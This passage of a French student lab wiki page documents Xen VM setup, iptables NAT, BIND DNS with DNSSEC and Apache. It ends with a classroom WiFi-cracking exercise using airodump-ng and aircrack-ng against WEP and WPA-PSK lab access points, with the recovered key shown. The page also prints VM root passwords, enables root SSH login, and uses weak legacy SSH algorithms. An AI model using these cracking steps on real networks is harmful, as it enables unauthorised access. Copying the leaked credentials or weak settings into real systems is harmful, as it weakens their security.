&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3&lt;br /&gt;
&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
